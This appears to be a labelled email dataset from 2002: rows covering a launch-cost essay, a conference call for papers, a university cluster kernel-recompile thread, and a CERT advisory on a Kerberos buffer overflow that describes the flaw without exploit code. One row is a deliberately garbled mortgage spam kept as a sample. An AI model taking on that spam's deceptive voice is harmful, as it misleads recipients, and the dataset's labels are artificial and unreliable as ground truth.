astronomical observatories. All risks of launch failure are borne by the provider of the payload; clients should note historical failure rates and build appropriate spares. Provider of the payload assumes all liability for it once it separates from Agency's rocket. Payloads shall be delivered by truck to the loading dock of the Agency's Rocket Garage. All payloads must be supplied with adequate documentation to verify their content and safety. The payload interface specification handbook is available for US$5 from the Agency's toll-free order line; payload test and integration jigs are available in the Agency's regional centres and many major universities around the world. Plans for building your own are available for US$5. Payloads delivered to the Rocket Garage are inspected to ensure they are not nuclear bombs, sacks of gravel, or otherwise unacceptable. Payloads containing propulsion hardware are reviewed especially closely. Assuming no big no-nos, the payload is bolted to the top of the next free rocket, the requested orbit inclination is dialed into the rocket's guidance system, and it moves down the queue toward the pad. The adventurous will recall that the Project Mercury capsule had a launch weight of 1935 kg. If fewer than one payload a day arrives at the Rocket Garage (as is certain at the outset), the Agency will store the excess rockets in the Rocket Warehouse out back, while continuing to launch at least one per week with an inert concrete payload (in a rapidly decaying orbit) to maintain launch team proficiency and verify the continuing quality of rockets supplied by the vendor. This procurement and offering of launch services is explicitly intended to punch through the chicken-and-egg problem. In essence, the Agency would be spending US$475 million a year on a flock of 365 hens, then waiting to see if eggs started to show up. This runs the risk, of course, of ending up with egg all over one's face. Suppose it isn't possible to build a rocket that will orbit half the payload of a Delta, launched 50 times less frequently than the V2, at a cost ten times greater than that primitive fifty year old missile. In that case nobody responds seriously to the Agency's bid, and the Agency goes and blows the money on something else, vowing to try again in ten years. Now suppose the rockets do start showing up one a day, and departing on schedule with a success rate that makes the supplier's profit margin juicy enough to fund further R&D, but the payloads don't appear. The Agency rapidly becomes the butt of every stand-up comic and a motion is introduced in the Legislature to re-name it the ""Orbital Ready-Mix Delivery Agency"". Well, if that's how it plays out, I guess we all ought to pack up and go home then, shouldn't we? Because that would demonstrate, in a real-world test, than there really aren't very many useful things to do in space, after all. That even if we push the marginal cost of launches down to zero, nobody will be able to think of anything to use them for, not for Venus probe science fair projects, personal spysats, hypersonic surfing demonstration/validation flights, nor microgravity research, material processing, life sciences, remote sensing, VLBI radio astronomy, optical astronomy, or anything else. That other than the existing big-market space applications, there's no earthly reason to leave the Earth, that much of the ""space age"" was based on faulty premises, that the ""final frontier"" isn't worth exploring. Is this likely to be the case? Loose Ends ---------- Naturally, things aren't as easy to accomplish in the real world as they are to bandy about on paper. Special relativity limits the velocity with which one can wave one's arms, and the UNDO button doesn't remove a hole you've just bored the wrong place into an expensive piece of metal. Many things might go wrong in an attempt to jump-start the exploitation of space this way. The two real biggies are discussed above: ""it won't work"", or ""space isn't worth it"". Here are some others I'm concerned about as well. Range Capacity. Given current low launch rates, configuring a range is complicated and takes a long time which couldn't accommodate daily launches, especially to a variety of inclinations. And most existing spaceports can't handle both equatorial and polar launches. Maybe we should plan on Hawaii or Cape York from the outset and get the paperwork started to declare an appropriate air and sea exclusion zone (for two hours per day around the scheduled launch time). Any rocket that meets the launch rate and cost criteria cannot require complex or expensive ground infrastructure. Environmental Issues. One reason for insisting on LH2/LOX rather than Kerosene/LOX, hypergolics, or solids/hybrids is that it's clean. We could launch one every minute and contribute less to global warming, ozone layer depletion, and other varieties of atmospheric pollution than 747s crossing the Atlantic every day. Also, exhaust and/or fluffy white clouds resulting from the occasional really bad day aren't harmful to anybody who happens to be downwind. On the solid waste issue, clearly dropping big chunks of aluminum and steel into the ocean every day isn't a particularly elegant way to break the bonds of gravity, not compared to all those sleek paper spaceplanes on the magazine covers. But I suspect if one were to compare the total mass wasted in expended stages to that of non-recycled aluminum cans and automobile engines, it would be an insignificant percentage. It's worth noting that what we're throwing away every day consists basically of aluminum and iron with a dash of silicon, and that these are three of the four most abundant elements in the Earth's crust. Besides, outside the two-hour launch period, salvage boats are welcome to recover the expended stages and sell them for scrap. Space Junk. So many launches may run the risk of unacceptably polluting the near-Earth environment. Clearly, as noted above, care will be required not to launch payloads likely to explode or otherwise misbehave in orbit. Payloads will probably have to be released in orbits which guarantee the timely decay and burn-up of expended upper stages. We need to make sure the upper stage always burns up completely, leaving no chunks to go ""thump"" in the night. Payloads intended for high-traffic or high-risk final orbits will require special certification that they will dispose of themselves in a responsible manner. Fuel cost. It may be that if we succeed in pushing the hardware cost down, we'll end up with an airline-like situation where fuel cost becomes a major component of the expense. I don't know how much liquid hydrogen goes for today, and I haven't tried to predict what it would cost when purchased in the quantities a launch a day would require. This needs to be worked out. Even daily launches should be a minor consumer in the market for liquid oxygen. Payload pyrotechnic servicing. In the discussion of payload delivery and integration, I confess to glossing over the issue of pre-launch payload servicing. You can't just take a satellite with a solid kick motor and a hundred kilograms of hydrazine on board down to the DHL counter and ship it to the spaceport. The hazardous aspects of payload processing must be done in a thoroughly professional manner at a facility close to the launch site, and the design of these aspects of payloads must be subjected to design reviews comparable to those currently used for commercial launches. This increases the payload cost, but not the launch cost. It will probably promote the emergence of standard spacecraft buses which provide these components of the payload, which can be serviced for launch for a flat fee by their vendors. Tracking and control. The daily launch rate envisioned here would overwhelm existing ground control facilities. Yet the experience of AMSAT and UOSAT proves that sophisticated and expensive gear isn't required to manage a satellite, at least in LEO. Without access to TDRSS or a global tracking network, most satellites are going to have be very autonomous, communicating with their makers in occasional high-bandwidth gabfests as they pop above the horizon. Since it's very likely that one or more manufacturers will offer a standard satellite bus compatible with the launcher, providing power, communications, etc., perhaps they will also market access to an uplink and downlink as a value-added service. From your nearest ISDN jack or Internet site, you could send and receive packets to your satellite and let the bus vendor worry about how and when they were delivered. Deep space missions are a problem; those who propose them are going to have to obtain time on a big dish as part of their grant proposal. One hopes that if many missions with clear scientific merit are proposed, money might be forthcoming to expand the existing deep space communication facilities. NASA/Congress will never do it. Who said anything about NASA or the U.S. Congress? A total budget of US$475 million per year is within the reach of many industrialised nations, especially at a time when defence spending is being curtailed, aerospace companies are suffering from excess capacity, engineering and manufacturing people are suffering lay-offs, and policy makers worry about how to convert defence industries without harming readiness by eroding the industrial base. US$475 million per year represents the following percentage of the early 1990's defence budgets (CIA World Factbook 1992) of the following countries: Country % Defence Budget --------- ---------------- South Africa 13.6% Switzerland 10.3% Sweden 7.7% Australia 6.3% Israel 6.3% Spain 5.5% China 4.0% (approx) Italy 2.1% France 1.4% Japan 1.3% Germany 1.2% United Kingdom 1.1% United States 0.15% Any country whose government became convinced that a scheme like this might give it a long-term (literal) leg up in the world and beyond, eventually, could implement it by reprogramming a small percentage of its existing military spending, much of which would flow right back into its own industries and economy and might be seen to have military value it its own right. For that matter, US$475 million is just about what Microsoft will spend on R&D in fiscal year 1993 and a third of their pre-tax profit, and it's less than 3% of Motorola's sales for the same year, so well-heeled and forward-looking companies (or consortium of such) could play as well. Conclusion ---------- The near-term development of space is constrained by excessive costs of launching payloads to low Earth orbit. The development of innovative launch technologies is discouraged by an apparent over capacity of existing launchers, ""where will the payloads come from?"", while development of payloads for new space applications isn't affordable given current launch costs. Rocketry was originally developed as a branch of artillery. Proponents of various reusable launch technologies argue that as long as an artillery-like model is maintained, affordable launches will never be possible. But to be effective, artillery must not only have adequate throw-weight, it must also provide a rapid rate of fire while minimising the cost of expended rounds. Today's space launch ""artillery"" costs tens to hundreds of millions of US$ per shot and fires at intervals measured in weeks or months. Yes, expendable launchers are artillery, and the ones we have today are, as artillery pieces, extremely overpriced and under-performing. The last time liquid rockets were truly treated as artillery was the very first time they were used in war, the A4/V2, fifty years ago. Despite an increasingly desperate war situation, constant supply problems, and aerial bombardment, V2s were manufactured at rates of up to 800 per month, launched at a comparable pace, and produced at a marginal cost of US$13,000 (1945 dollars) for each additional rocket after the first 5000. Making allowances for all the differences between Nazi Germany and the modern world, between a not very militarily useful nor reliable weapon and a viable space launcher, between a one-stage Ethanol/LOX missile and a multistage LH2/LOX launcher, between 1945 wartime dollars and current currency, still one must ask why, after 50 years of technological progress and rocket experience, our current rockets cost not five, not ten, not twenty times as much as a V2, but between one hundred (Pegasus) and two thousand four hundred (Titan III/SRM) times as much. Is what a Delta 6925 does, lobbing 3900 kg into LEO, fundamentally three hundred times more expensive than what a V2 did fifty years ago? It is interesting to observe that current launchers are bought and launched in quantities about a thousand times less than those of the V2 at peak production. In no sense are they mass-produced, and therefore they do not benefit from either the means of mass production (investment in highly-automated manufacturing), nor from the learning curve that results when one builds hundreds and thousands of an identical product. Could it be that a large component of the present unacceptably high launch cost is both cause and effect of the present low rate of launches? ---------------------------------------------------------------------- Kelly Starks Internet: kgstar@most.fw.hac.com Sr. Systems Engineer Magnavox Electronic Systems Company (Magnavox URL: http://www.fw.hac.com/external.html) ----------------------------------------------------------------------",0,1 statistics@hicstatistics.org,Hawaii International Conferences ,"Fri, 18 Oct 2002 07:57:36 -1000",Call for Papers - 2003 Hawaii International Conference on Statistics,"Call for Papers/Abstracts/Submissions Hawaii International Conference on Statistics and Related fields June 5-8, 2003 Sheraton Waikiki Hotel, Honolulu Hawaii, USA Submission Deadline: January 16, 2003 Sponsored by: University of Hawaii - West Oahu Web address: email address: The Second Hawaii International Conference on Statistics and Related Fields will be held from June 5 (Thursday) to June 8 (Sunday), 2003 at the Sheraton Waikiki Hotel in Honolulu, Hawaii. . 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Web address: Email Address: To be removed from this list, please reply to with the word remove in the subject heading.",0,0 steven james ,gilfoyle ,"Fri, 18 Oct 2002 13:10:10 -0400",Re: fixing the Richmond cluster,"Greetings, I was the one who worked on the fileserver. I just had a look and it appears to be running the correct kernel. WRT compiling the kernel: The config I used was left in /usr/src/linux. You can change the limit, make clean, and then make the new kernel with the same configs. You may also need new ethernet module (bcm5700). It's source is in /usr/src Finally, the bproc modules (bproc vmadump and ksyscall) are in /usr/src/redhat/SOURCES/bproc-2.2-pyro1 I can certainly do the kernel mod. Oddly enough, I don't know how much I cost these days :-), I will inquire w/ Markus on that and any other options available. G'day, sjames On Fri, 18 Oct 2002, gilfoyle wrote: > Hi Steven, > > Thank you for the response to my questions. I have been at meetings > all this week and just got back to doing real work. I would like to > update you on the status of the Richmond cluster and raise some > questions/proposals for dealing with the problem. First, the status. > > 1. Last Tuesday (10/8/2) I submitted a large number of batch jobs > (about 150) to the cluster and found that only about 1/3 of them ran > and we had exhausted the number of available processes on the master. > We had to reboot to get things going again. > > 2. I was able to run with a reduced number of jobs (about 40) at a > time and things seemed to work. However, this means we are not making > full use of the cluster (actually not even half use). > > 3. I have tried some other approaches since then including raising the > limiting load factor from its compile-time choice of 0.8 (see the man > page for the 'atd' command), but keep running into similar > problems. > > Next, some questions. > > Last spring we had lots of problems with the fileserver getting hung > during data transfer. This was later determined to be caused by cables > that were too long. However, in the course of debugging this problem > we (actually I think this was you Steve, but I'm not sure) tried a > number of different kernels. Are we now sure that we are using the > correct, optimized kernel? How can we check? > > Your proposals with questions. > > 1. We could recompile the kernel with the limit on the number of > processes raised. I agree this would be the least disruptive option. > We could ask our linux person here at Richmond to work on this. > However, do we have (or can we get) some listing of all the modules > and parameters that where used to build the current kernel. My > experience has been that this information is important so we don't > spend days trying to figure out what is in the current kernel. Steve, > can we get help from you on this? How much would it cost? > > 2. Upgrade to your new Nimbus distribution. Mike Vineyard talked to > Markus Geiger about this option and it would cost us about $5000 > ($50/cpu). I hesitate to do this since it seems like a lot of money to > spend to upgrade what is essentially a brand new cluster. I am also > unsure if this option will fix our problem. If we go down this path, > how quickly could the upgrade be done? > > Mike and I would really like to see this problem resolved as soon as > possible. I am considering asking for funds to add slave nodes to the > cluster and I want to be sure that we can make full use of them. > > Let me know what you think. > > Jerry Gilfoyle > > > -- -------------------------steven james, director of research, linux labs ... ........ ..... .... 230 peachtree st nw ste 701 the original linux labs atlanta.ga.us 30303 -since 1995 http://www.linuxlabs.com office 404.577.7747 fax 404.577.7743 ----------------------------------------------------------------------- ",0,1 steven james ,gilfoyle ,"Fri, 18 Oct 2002 13:10:10 -0400",Re: fixing the Richmond cluster,"Greetings, I was the one who worked on the fileserver. I just had a look and it appears to be running the correct kernel. WRT compiling the kernel: The config I used was left in /usr/src/linux. You can change the limit, make clean, and then make the new kernel with the same configs. You may also need new ethernet module (bcm5700). It's source is in /usr/src Finally, the bproc modules (bproc vmadump and ksyscall) are in /usr/src/redhat/SOURCES/bproc-2.2-pyro1 I can certainly do the kernel mod. Oddly enough, I don't know how much I cost these days :-), I will inquire w/ Markus on that and any other options available. G'day, sjames On Fri, 18 Oct 2002, gilfoyle wrote: > Hi Steven, > > Thank you for the response to my questions. I have been at meetings > all this week and just got back to doing real work. I would like to > update you on the status of the Richmond cluster and raise some > questions/proposals for dealing with the problem. First, the status. > > 1. Last Tuesday (10/8/2) I submitted a large number of batch jobs > (about 150) to the cluster and found that only about 1/3 of them ran > and we had exhausted the number of available processes on the master. > We had to reboot to get things going again. > > 2. I was able to run with a reduced number of jobs (about 40) at a > time and things seemed to work. However, this means we are not making > full use of the cluster (actually not even half use). > > 3. I have tried some other approaches since then including raising the > limiting load factor from its compile-time choice of 0.8 (see the man > page for the 'atd' command), but keep running into similar > problems. > > Next, some questions. > > Last spring we had lots of problems with the fileserver getting hung > during data transfer. This was later determined to be caused by cables > that were too long. However, in the course of debugging this problem > we (actually I think this was you Steve, but I'm not sure) tried a > number of different kernels. Are we now sure that we are using the > correct, optimized kernel? How can we check? > > Your proposals with questions. > > 1. We could recompile the kernel with the limit on the number of > processes raised. I agree this would be the least disruptive option. > We could ask our linux person here at Richmond to work on this. > However, do we have (or can we get) some listing of all the modules > and parameters that where used to build the current kernel. My > experience has been that this information is important so we don't > spend days trying to figure out what is in the current kernel. Steve, > can we get help from you on this? How much would it cost? > > 2. Upgrade to your new Nimbus distribution. Mike Vineyard talked to > Markus Geiger about this option and it would cost us about $5000 > ($50/cpu). I hesitate to do this since it seems like a lot of money to > spend to upgrade what is essentially a brand new cluster. I am also > unsure if this option will fix our problem. If we go down this path, > how quickly could the upgrade be done? > > Mike and I would really like to see this problem resolved as soon as > possible. I am considering asking for funds to add slave nodes to the > cluster and I want to be sure that we can make full use of them. > > Let me know what you think. > > Jerry Gilfoyle > > > -- -------------------------steven james, director of research, linux labs ... ........ ..... .... 230 peachtree st nw ste 701 the original linux labs atlanta.ga.us 30303 -since 1995 http://www.linuxlabs.com office 404.577.7747 fax 404.577.7743 ----------------------------------------------------------------------- --------------30CEA72C5E177E0710B05757-- ",0,1 """Stefanovski, Sasko"" ","""Gilfoyle, Gerard"" ","Fri, 18 Oct 2002 15:59:47 -0400",RE: fixing the Richmond cluster,"Dr. Gilfoyle, We can certainly recompile the kernel, if we have the right source. I've been recompiling Linux kernels for a while now, so I can give a try. If something goes wrong we can go back and boot from the old kernel. Sasko ",0,0 gilfoyle ,"""Stefanovski, Sasko"" ","Sun, 20 Oct 2002 22:59:13 -0700",Re: fixing the Richmond cluster,"hi sasko, that's good to hear. i have done it, but it's been more than 3 years. more later. jerry ""Stefanovski, Sasko"" wrote: > > Dr. Gilfoyle, > > We can certainly recompile the kernel, if we have the right source. > I've been recompiling Linux kernels for a while now, so I can give a try. > If something goes wrong we can go back and boot from the old kernel. > > Sasko -- Dr. Gerard P. Gilfoyle Physics Department e-mail: ggilfoyl@richmond.edu University of Richmond, VA 23173 phone: 804-289-8255 USA fax: 804-289-8482 ",0,0 """Stefanovski, Sasko"" ","""Gilfoyle, Gerard"" ","Mon, 21 Oct 2002 14:37:22 -0400",RE: [Fwd: fixing the Richmond cluster],"Jerry, Thursday morning looks fine. Is it 9am ok? I'll start looking at what we have on pscm1 tomorrow. Before doing any compilation I would copy the source tree and play with the copy, so we can have a copy of the source directory with all configuration files intact as they were the last time the kernel was compiled. We can then play with our copy. I agree that we should recompile the kernel at first to see if the process would be right. After that we'll change the number of processes in the tasks.h file and recompile again. Sasko -----Original Message----- From: gilfoyle [mailto:ggilfoyl@richmond.edu] Sent: Monday, October 21, 2002 2:03 PM To: Sashak Stafanovski Subject: [Fwd: fixing the Richmond cluster] hi sasko, i am forwarding the message i received from linuxlabs with some guidance for recompiling the kernel on the cluster. it lists where the configuration files are located which is important for us if we want to do this successfully. i've already done a couple of small things. 1. created backups on the disk of the different, existing versions of the kernel in the /boot/ area. look for files with '-gpg' on the end. 2. modified /etc/lilo.conf to add a boot option 'URlinux' that points to one of the backups i made above. the full file is below. i am glad to have you work on this, but i would like to be around when you do it so i can learn more about it. would Thursday morning be a good time? i had the following thoughts on the plan for recompiling the kernel. 1. we should make a boot floppy in case disaster strikes. 2. we should recompile and test the kernel with NO changes just to make sure the configuration files and such are accurate. 3. we should increase the parameter NR_TASKS to something like 3000 and MAX_TASKS_PER_USER to 1000 in /usr/src/linux/include/tasks.h according to the reference below. http://www.ltsp.org/documentation/lts_ig_v2.4/lts_ig_v2.4-14.html http://www.geocrawler.com/archives/3/61/1998/10/0/2207294/ opps! i found tasks.h in /usr/src/linux/include/linux instead of area described in the documentation. the file tasks.h is shown below. let me know what you think. jerry tasks.h ---------------------------------------- #ifndef _LINUX_TASKS_H #define _LINUX_TASKS_H /* * This is the maximum nr of tasks - change it if you need to */ #ifdef __SMP__ #define NR_CPUS 32 /* Max processors that can be running in SMP */ #else #define NR_CPUS 1 #endif #define NR_TASKS 512 /* On x86 Max about 4000 */ <-- change to 3000. #define MAX_TASKS_PER_USER (NR_TASKS/2) <---- change to 1000. #define MIN_TASKS_LEFT_FOR_ROOT 4 /* * This controls the maximum pid allocated to a process */ #define PID_MAX 0x8000 #endif lilo.conf ---------------------------------------- boot=/dev/hda map=/boot/map install=/boot/boot.b prompt timeout=50 linear default=linux image=/boot/bzImage-2.2.20p7-pyro1-scyld-dolphin label=linux read-only root=/dev/hda1 append=""hdd=ide-scsi"" image=/boot/bzImage-2.2.17-lila.beosmp label=2-2-17 append=""mem=1024M"" read-only root=/dev/hda1 image=/boot/bzImage-2.2.20p7-pyro1-scyld-dolphin-02-oct-21-gpg /* modified from here label=URlinux read-only root=/dev/hda1 append=""hdd=ide-scsi"" -- Dr. Gerard P. Gilfoyle Physics Department e-mail: ggilfoyl@richmond.edu University of Richmond, VA 23173 phone: 804-289-8255 USA fax: 804-289-8482",0,1 steven james ,gilfoyle ,"Mon, 21 Oct 2002 19:01:22 -0400",Re: fixing the Richmond cluster,"Greetings, I pulled up records, and I think there may be some confusion. You are not required to pay $5000 for a Nimbus upgrade. As you are still within your support time, the upgrade is free. The price given to Mike was for a new install on a new cluster. The procedure would be for someone on your side to make backups and install RedHat 7.2 with specified options on the master, and make it available on the net. I will transfer the RPMs for the Nimbus system over, and perform the installation and configuration. You still have the option of a re-compile of your current kernel with the process limit increased if you prefer. IMHO, you will like the new features of Nimbus (that would, of course, have nothing to do with the fact that I built Nimbus :-) G'day, sjames On Mon, 21 Oct 2002, gilfoyle wrote: > hi steven, > > thanks for the response. we have a new linux support person and > this seems like an appropriate task for him. i'm reasonably sure that > we will need to consult with you about some things so i have to > check our grant to see how much money we have. how you found out > what you rate is these days? > > jerry > > steven james wrote: > > > > Greetings, > > > > I was the one who worked on the fileserver. I just had a look and it > > appears to be running the correct kernel. > > > > WRT compiling the kernel: > > The config I used was left in /usr/src/linux. You can change the limit, > > make clean, and then make the new kernel with the same configs. > > You may also need new ethernet module (bcm5700). It's source is in > > /usr/src > > > > Finally, the bproc modules (bproc vmadump and ksyscall) are in > > /usr/src/redhat/SOURCES/bproc-2.2-pyro1 > > > > I can certainly do the kernel mod. Oddly enough, I don't know how much I > > cost these days :-), I will inquire w/ Markus on that and any other > > options available. > > > > G'day, > > sjames > > > > On Fri, 18 Oct 2002, gilfoyle wrote: > > > > > Hi Steven, > > > > > > Thank you for the response to my questions. I have been at meetings > > > all this week and just got back to doing real work. I would like to > > > update you on the status of the Richmond cluster and raise some > > > questions/proposals for dealing with the problem. First, the status. > > > > > > 1. Last Tuesday (10/8/2) I submitted a large number of batch jobs > > > (about 150) to the cluster and found that only about 1/3 of them ran > > > and we had exhausted the number of available processes on the master. > > > We had to reboot to get things going again. > > > > > > 2. I was able to run with a reduced number of jobs (about 40) at a > > > time and things seemed to work. However, this means we are not making > > > full use of the cluster (actually not even half use). > > > > > > 3. I have tried some other approaches since then including raising the > > > limiting load factor from its compile-time choice of 0.8 (see the man > > > page for the 'atd' command), but keep running into similar > > > problems. > > > > > > Next, some questions. > > > > > > Last spring we had lots of problems with the fileserver getting hung > > > during data transfer. This was later determined to be caused by cables > > > that were too long. However, in the course of debugging this problem > > > we (actually I think this was you Steve, but I'm not sure) tried a > > > number of different kernels. Are we now sure that we are using the > > > correct, optimized kernel? How can we check? > > > > > > Your proposals with questions. > > > > > > 1. We could recompile the kernel with the limit on the number of > > > processes raised. I agree this would be the least disruptive option. > > > We could ask our linux person here at Richmond to work on this. > > > However, do we have (or can we get) some listing of all the modules > > > and parameters that where used to build the current kernel. My > > > experience has been that this information is important so we don't > > > spend days trying to figure out what is in the current kernel. Steve, > > > can we get help from you on this? How much would it cost? > > > > > > 2. Upgrade to your new Nimbus distribution. Mike Vineyard talked to > > > Markus Geiger about this option and it would cost us about $5000 > > > ($50/cpu). I hesitate to do this since it seems like a lot of money to > > > spend to upgrade what is essentially a brand new cluster. I am also > > > unsure if this option will fix our problem. If we go down this path, > > > how quickly could the upgrade be done? > > > > > > Mike and I would really like to see this problem resolved as soon as > > > possible. I am considering asking for funds to add slave nodes to the > > > cluster and I want to be sure that we can make full use of them. > > > > > > Let me know what you think. > > > > > > Jerry Gilfoyle > > > > > > > > > > > > > -- > > -------------------------steven james, director of research, linux labs > > ... ........ ..... .... 230 peachtree st nw ste 701 > > the original linux labs atlanta.ga.us 30303 > > -since 1995 http://www.linuxlabs.com > > office 404.577.7747 fax 404.577.7743 > > ----------------------------------------------------------------------- > > -- -------------------------steven james, director of research, linux labs ... ........ ..... .... 230 peachtree st nw ste 701 the original linux labs atlanta.ga.us 30303 -since 1995 http://www.linuxlabs.com office 404.577.7747 fax 404.577.7743 ----------------------------------------------------------------------- ",0,1 """Stefanovski, Sasko"" ","""Gilfoyle, Gerard"" , Mike Vineyard ","Tue, 22 Oct 2002 08:35:14 -0400",RE: [Fwd: fixing the Richmond cluster],"If we have that option for free I would say we should take it. RedHat 7.2 is much more advanced than RH6.2 as you all know. Plus we can install the more recent patches. How our schedule changes because of this. Does it mean we are canceling the event (recompiling the kernel) on Thursday morning, or you want to keep it as an exercise. Or doing a backup and building an RH7.2 is what we need to do instead at that time. Do you want me to prepare all necessary things for RedHat 7.2 installation? Sasko -----Original Message----- From: gilfoyle [mailto:ggilfoyl@richmond.edu] Sent: Monday, October 21, 2002 10:21 PM To: Sashak Stafanovski; Mike Vineyard Subject: [Fwd: fixing the Richmond cluster] yo, looks like we may get the upgrade for free. let's think about this a bit and get back to hime jerry -- Dr. Gerard P. Gilfoyle Physics Department e-mail: ggilfoyl@richmond.edu University of Richmond, VA 23173 phone: 804-289-8255 USA fax: 804-289-8482 ",0,0 """Michael F. Vineyard"" ","""Stefanovski, Sasko"" ","Tue, 22 Oct 2002 08:42:40 -0400",Re: [Fwd: fixing the Richmond cluster],"I agree. Let's go with the upgrade to RH 7.2 and Nimbus. But, we need to make darn sure that we don't have this process limit. Mike ""Stefanovski, Sasko"" wrote: > If we have that option for free I would say we should take it. RedHat 7.2 is > much more advanced than RH6.2 as you all know. Plus we can install the more > recent patches. > > How our schedule changes because of this. Does it mean we are canceling the > event (recompiling the kernel) on Thursday morning, or you want to keep it > as an exercise. Or doing a backup and building an RH7.2 is what we need to > do instead at that time. > > Do you want me to prepare all necessary things for RedHat 7.2 installation? > > Sasko > > -----Original Message----- > From: gilfoyle [mailto:ggilfoyl@richmond.edu] > Sent: Monday, October 21, 2002 10:21 PM > To: Sashak Stafanovski; Mike Vineyard > Subject: [Fwd: fixing the Richmond cluster] > > yo, > > looks like we may get the upgrade for free. let's think about > this a bit and get back to hime > > jerry > > -- > Dr. Gerard P. Gilfoyle > Physics Department e-mail: ggilfoyl@richmond.edu > University of Richmond, VA 23173 phone: 804-289-8255 > USA fax: 804-289-8482 -- Michael F. Vineyard Phone: (518) 388-8353 Department of Physics Fax: (518) 388-6947 Union College E-mail: vineyarm@union.edu Schenectady, NY 12308 http://www1.union.edu/~vineyarm ",0,1 """West, Doug"" ","""Gilfoyle, Gerard"" ","Tue, 22 Oct 2002 09:33:05 -0400",RE: a question,"Jerry, Those computers do not fall under the guidelines for primary replacement, and as such, there exist no on-going funding vehicle. However, if you will provide me with the following information, I will be happy to explore our options completely. * Number of systems that you are wanting to replace * Typical configuration of the existing machines * Minimum configuration needed for the new machines * Must the new machines be ""brand new"", or would secondary machines that meet the specs be sufficient Additionally, the process that we followed to replace your lab machines worked as well. In that case, I had asked that you submit a formal request to Ellen and cc me. It is possible that we might have some year end funds in this FY to target specific needs like this. Hope this helps! Doug West Director of Telecom, Media Support, and User Services University of Richmond Voice 804.287.6588 Fax 804.289.8988 email dwest@richmond.edu -----Original Message----- From: gilfoyle [mailto:ggilfoyl@richmond.edu] Sent: Monday, October 21, 2002 10:40 PM To: dwest@richmond.edu Subject: a question Hi Doug, I have a question and I'm not sure if you are the right person to ask, but I'll try anyway. I am considering asking the Faculty Research Committee for money to replace some of the machines in our supercomputing cluster. These are computers that will be four years old at the beginning of next summer. They were purchased with US Department of Energy funds from our grant and University funds in early 1999. Can these machines be replaced under the University's PC replacement plan? If they can be replaced, I would like to start the process going to do that. Jerry -- Dr. Gerard P. Gilfoyle Physics Department e-mail: ggilfoyl@richmond.edu University of Richmond, VA 23173 phone: 804-289-8255 USA fax: 804-289-8482 ",0,0 """Stefanovski, Sasko"" ","""Gilfoyle, Gerard"" ","Tue, 22 Oct 2002 09:37:35 -0400",RE: [Fwd: fixing the Richmond cluster],"O.K. So Thursday morning is canceled. BTW, how we are going to backup the old installation. Do we have a tape device attached to the cluster? Sasko -----Original Message----- From: gilfoyle [mailto:ggilfoyl@richmond.edu] Sent: Tuesday, October 22, 2002 9:34 AM To: Stefanovski, Sasko Subject: Re: [Fwd: fixing the Richmond cluster] hi sasko, i think we should go ahead with it. this means we will NOT recompile the kernel on thursday as originally planned. you can go ahead and prepare for the RH7.2 installation. i will contact linux labs and tell them we are going ahead with the upgrade and find out more about the schedule. jerry ""Stefanovski, Sasko"" wrote: > > If we have that option for free I would say we should take it. RedHat 7.2 is > much more advanced than RH6.2 as you all know. Plus we can install the more > recent patches. > > How our schedule changes because of this. Does it mean we are canceling the > event (recompiling the kernel) on Thursday morning, or you want to keep it > as an exercise. Or doing a backup and building an RH7.2 is what we need to > do instead at that time. > > Do you want me to prepare all necessary things for RedHat 7.2 installation? > > Sasko > > -----Original Message----- > From: gilfoyle [mailto:ggilfoyl@richmond.edu] > Sent: Monday, October 21, 2002 10:21 PM > To: Sashak Stafanovski; Mike Vineyard > Subject: [Fwd: fixing the Richmond cluster] > > yo, > > looks like we may get the upgrade for free. let's think about > this a bit and get back to hime > > jerry > > -- > Dr. Gerard P. Gilfoyle > Physics Department e-mail: ggilfoyl@richmond.edu > University of Richmond, VA 23173 phone: 804-289-8255 > USA fax: 804-289-8482 -- Dr. Gerard P. Gilfoyle Physics Department e-mail: ggilfoyl@richmond.edu University of Richmond, VA 23173 phone: 804-289-8255 USA fax: 804-289-8482 ",0,0 """Stefanovski, Sasko"" ","""Gilfoyle, Gerard"" ","Tue, 22 Oct 2002 11:22:49 -0400",RE: [Fwd: fixing the Richmond cluster]," >> BTW, how we are going to backup the old installation. >> Do we have a tape device attached to the cluster? > we have a dat tape drive, but i don't know if we have any > tapes. we've been burning CDs from our office machines. That's o.k. if you only want user's home directory backup. But if we want system backup of the cluster RH6.2 OS, that's not going to help us. Sasko ",0,0 Gervas Miele ,ggilfoyl@facstaff.richmond.edu,"Thu, 24 Oct 2002 15:22:45 -0700",Re: ioxyl news,"Dea j r Home Ow q ne p r , Your c x redi i t doesn't matter to us ! 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Vi t si o t our l site Sincerely, Gervas Miele Ap i pr h oval Manager",1,1 CERT Advisory ,cert-advisory@cert.org,"Fri, 25 Oct 2002 13:55:16 -0400",CERT Advisory CA-2002-29 Buffer Overflow in Kerberos Administration Daemon," -----BEGIN PGP SIGNED MESSAGE----- CERT Advisory CA-2002-29 Buffer Overflow in Kerberos Administration Daemon Original issue date: October 25, 2002 Last revised: -- Source: CERT/CC A complete revision history is at the end of this file. Systems Affected * MIT Kerberos version 4 and version 5 up to and including krb5-1.2.6 * KTH eBones prior to version 1.2.1 and KTH Heimdal prior to version 0.5.1 * Other Kerberos implementations derived from vulnerable MIT or KTH code Overview Multiple Kerberos distributions contain a remotely exploitable buffer overflow in the Kerberos administration daemon. A remote attacker could exploit this vulnerability to gain root privileges on a vulnerable system. The CERT/CC has received reports that indicate that this vulnerability is being exploited. In addition, MIT advisory MITKRB5-SA-2002-002 notes that an exploit is circulating. We strongly encourage sites that use vulnerable Kerberos distributions to verify the integrity of their systems and apply patches or upgrade as appropriate. I. Description Kerberos is a widely used network protocol that uses strong cryptography to authenticate clients and servers. The Kerberos administration daemon (typically called kadmind) handles password change and other requests to modify the Kerberos database. The daemon runs on the master Key Distribution Center (KDC) server of a Kerberos realm. The code that provides legacy support for the Kerberos 4 administration protocol contains a remotely exploitable buffer overflow. The vulnerable code does not adequately validate data read from a network request. This data is subsequently used as an argument to a memcpy() call, which can overflow a buffer allocated on the stack. An attacker does not have to authenticate in order to exploit this vulnerability, and the Kerberos administration daemon runs with root privileges. Both Massachusetts Institute of Technology (MIT) and Kungl Tekniska H�gskolan (KTH) Kerberos are affected, as well as operating systems, applications, and other Kerberos implementations that use vulnerable code derived from either the MIT or KTH distributions. In MIT Kerberos 5, the Kerberos 4 administration daemon is implemented in kadmind4. In KTH Kerberos 4 (eBones), the Kerberos administration daemon is implemented in kadmind. KTH Kerberos 5 (Heimdal) also implements the daemon in kadmind; however, the Heimdal daemon is only affected if compiled with Kerberos 4 support. Since the vulnerable Kerberos administration daemon is included in the MIT Kerberos 5 and KTH Heimdal distributions, both Kerberos 4 sites and Kerberos 